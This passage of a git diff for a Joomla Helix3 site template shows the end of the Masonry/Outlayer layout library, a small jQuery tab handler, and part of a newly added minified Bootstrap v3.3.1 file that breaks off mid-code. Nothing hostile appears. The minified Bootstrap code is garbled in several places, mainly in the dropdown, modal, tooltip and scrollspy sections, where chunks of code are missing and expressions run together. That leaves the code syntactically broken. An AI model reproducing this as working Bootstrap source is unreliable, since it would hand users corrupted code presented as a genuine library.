+ , h = t.console
+ , u = t.jQuery
+ , f = function() {}
+ , p = Object.prototype.toString
+ , c = "object" == typeof HTMLElement ? function(t) {
+ return t instanceof HTMLElement
+ }
+ : function(t) {
+ return t && "object" == typeof t && 1 === t.nodeType && "string" == typeof t.nodeName
+ }
+ , d = Array.prototype.indexOf ? function(t, e) {
+ return t.indexOf(e)
+ }
+ : function(t, e) {
+ for (var n = 0, i = t.length; i > n; n++)
+ if (t[n] === e)
+ return n;
+ return -1
+ }
+ ;
+ "function" == typeof define && define.amd ? define("outlayer/outlayer", ["eventie/eventie", "doc-ready/doc-ready", "eventEmitter/EventEmitter", "get-size/get-size", "matches-selector/matches-selector", "./item"], s) : t.Outlayer = s(t.eventie, t.docReady, t.EventEmitter, t.getSize, t.matchesSelector, t.Outlayer.Item)
+}
+(window),
+function(t) {
+ function e(t, e) {
+ var i = t.create("masonry");
+ return i.prototype._resetLayout = function() {
+ this.getSize(),
+ this._getMeasurement("columnWidth", "outerWidth"),
+ this._getMeasurement("gutter", "outerWidth"),
+ this.measureColumns();
+ var t = this.cols;
+ for (this.colYs = []; t--; )
+ this.colYs.push(0);
+ this.maxY = 0
+ }
+ ,
+ i.prototype.measureColumns = function() {
+ if (this.getContainerWidth(),
+ !this.columnWidth) {
+ var t = this.items[0]
+ , n = t && t.element;
+ this.columnWidth = n && e(n).outerWidth || this.containerWidth
+ }
+ this.columnWidth += this.gutter,
+ this.cols = Math.floor((this.containerWidth + this.gutter) / this.columnWidth),
+ this.cols = Math.max(this.cols, 1)
+ }
+ ,
+ i.prototype.getContainerWidth = function() {
+ var t = this.options.isFitWidth ? this.element.parentNode : this.element
+ , n = e(t);
+ this.containerWidth = n && n.innerWidth
+ }
+ ,
+ i.prototype._getItemLayoutPosition = function(t) {
+ t.getSize();
+ var e = t.size.outerWidth % this.columnWidth
+ , i = e && 1 > e ? "round" : "ceil"
+ , o = Math[i](t.size.outerWidth / this.columnWidth);
+ o = Math.min(o, this.cols);
+ for (var r = this._getColGroup(o), s = Math.min.apply(Math, r), a = n(r, s), h = {
+ x: this.columnWidth * a,
+ y: s
+ }, u = s + t.size.outerHeight, f = this.cols + 1 - r.length, p = 0; f > p; p++)
+ this.colYs[a + p] = u;
+ return h
+ }
+ ,
+ i.prototype._getColGroup = function(t) {
+ if (2 > t)
+ return this.colYs;
+ for (var e = [], n = this.cols + 1 - t, i = 0; n > i; i++) {
+ var o = this.colYs.slice(i, i + t);
+ e[i] = Math.max.apply(Math, o)
+ }
+ return e
+ }
+ ,
+ i.prototype._manageStamp = function(t) {
+ var n = e(t)
+ , i = this._getElementOffset(t)
+ , o = this.options.isOriginLeft ? i.left : i.right
+ , r = o + n.outerWidth
+ , s = Math.floor(o / this.columnWidth);
+ s = Math.max(0, s);
+ var a = Math.floor(r / this.columnWidth);
+ a -= r % this.columnWidth ? 0 : 1,
+ a = Math.min(this.cols - 1, a);
+ for (var h = (this.options.isOriginTop ? i.top : i.bottom) + n.outerHeight, u = s; a >= u; u++)
+ this.colYs[u] = Math.max(h, this.colYs[u])
+ }
+ ,
+ i.prototype._getContainerSize = function() {
+ this.maxY = Math.max.apply(Math, this.colYs);
+ var t = {
+ height: this.maxY
+ };
+ return this.options.isFitWidth && (t.width = this._getContainerFitWidth()),
+ t
+ }
+ ,
+ i.prototype._getContainerFitWidth = function() {
+ for (var t = 0, e = this.cols; --e && 0 === this.colYs[e]; )
+ t++;
+ return (this.cols - t) * this.columnWidth - this.gutter
+ }
+ ,
+ i.prototype.needsResizeLayout = function() {
+ var t = this.containerWidth;
+ return this.getContainerWidth(),
+ t !== this.containerWidth
+ }
+ ,
+ i
+ }
+ var n = Array.prototype.indexOf ? function(t, e) {
+ return t.indexOf(e)
+ }
+ : function(t, e) {
+ for (var n = 0, i = t.length; i > n; n++) {
+ var o = t[n];
+ if (o === e)
+ return n
+ }
+ return -1
+ }
+ ;
+ "function" == typeof define && define.amd ? define(["outlayer/outlayer", "get-size/get-size"], e) : t.Masonry = e(t.Outlayer, t.getSize)
+}
+(window),
+jQuery(function($) {
+ MesonaryPortfolio();
+ $(document).delegate("#t-our_work_cat_masonry > ul > li a", "shown.bs.tab", function() {
+ var e = $( this );
+ e.closest( 'ul' ).children( 'li' ).each( function() {
+ $( this ).removeClass( 'active_service' );
+ } );
+ e.parent( 'li' ).addClass( 'active_service' );
+ });
+});
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/bootstrap.min.js b/deployed/helix3/templates/shaper_helix3/js/plugin/bootstrap.min.js
new file mode 100644
index 00000000..d8398659
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/bootstrap.min.js
@@ -0,0 +1,7 @@
+/*!
+ * Bootstrap v3.3.1 (http://getbootstrap.com)
+ * Copyright 2011-2014 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.1",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.1",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active"));a&&this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.1",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c="prev"==a?-1:1,d=this.getItemIndex(b),e=(d+c)%this.$items.length;return this.$items.eq(e)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i="next"==b?"first":"last",j=this;if(!f.length){if(!this.options.wrap)return;f=this.$element.find(".item")[i]()}if(f.hasClass("active"))return this.sliding=!1;var k=f[0],l=a.Event("slide.bs.carousel",{relatedTarget:k,direction:h});if(this.$element.trigger(l),!l.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var m=a(this.$indicators.children()[this.getItemIndex(f)]);m&&m.addClass("active")}var n=a.Event("slid.bs.carousel",{relatedTarget:k,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),j.sliding=!1,setTimeout(function(){j.$element.trigger(n)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(n)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&"show"==b&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a(this.options.trigger).filter('[href="#'+b.id+'"], [data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.1",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0,trigger:'[data-toggle="collapse"]'},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.find("> .panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":a.extend({},e.data(),{trigger:this});c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){b&&3===b.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=c(d),f={relatedTarget:this};e.hasClass("open")&&(e.trigger(b=a.Event("hide.bs.dropdown",f)),b.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger("hidden.bs.dropdown",f)))}))}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.1",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('
').insertAfter(a(this)).on("click",b);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger("shown.bs.dropdown",h)}return!1}},g.prototype.keydown=function(b){if(/(38|40|27|32)/.test(b.which)&&!/input|textarea/i.test(b.target.tagName)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(".disabled, :disabled")){var e=c(d),g=e.hasClass("open");if(!g&&27!=b.which||g&&27==b.which)return 27==b.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.divider):visible a",i=e.find('[role="menu"]'+h+', [role="listbox"]'+h);if(i.length){var j=i.index(b.target);38==b.which&&j>0&&j--,40==b.which&&j ').prependTo(this.$element).on("click.dismiss.bs.modal",a.proxy(function(a){a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.options.backdrop&&this.adjustBackdrop(),this.adjustDialog()},c.prototype.adjustBackdrop=function(){this.$backdrop.css("height",0).css("height",this.$element[0].scrollHeight)},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){this.bodyIsOverflowing=document.body.scrollHeight>document.documentElement.clientHeight,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right","")},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b,g=f&&f.selector;(e||"destroy"!=b)&&(g?(e||d.data("bs.tooltip",e={}),e[g]||(e[g]=new c(this,f))):e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init("tooltip",a,b)};c.VERSION="3.3.1",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(this.options.viewport.selector||this.options.viewport);for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c&&c.$tip&&c.$tip.is(":visible")?void(c.hoverState="in"):(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.options.container?a(this.options.container):this.$element.parent(),p=this.getPosition(o);h="bottom"==h&&k.bottom+m>p.bottom?"top":"top"==h&&k.top-mp.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.width&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type)})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b,g=f&&f.selector;(e||"destroy"!=b)&&(g?(e||d.data("bs.popover",e={}),e[g]||(e[g]=new c(this,f))):e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.1",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},c.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){var e=a.proxy(this.process,this);this.$body=a("body"),this.$scrollElement=a(a(c).is("body")?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",e),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.1",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b="offset",c=0;a.isWindow(this.$scrollElement[0])||(b="position",c=this.$scrollElement.scrollTop()),this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight();var d=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data("target")||d.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[b]().top+c,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){d.offsets.push(this[0]),d.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.1",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})
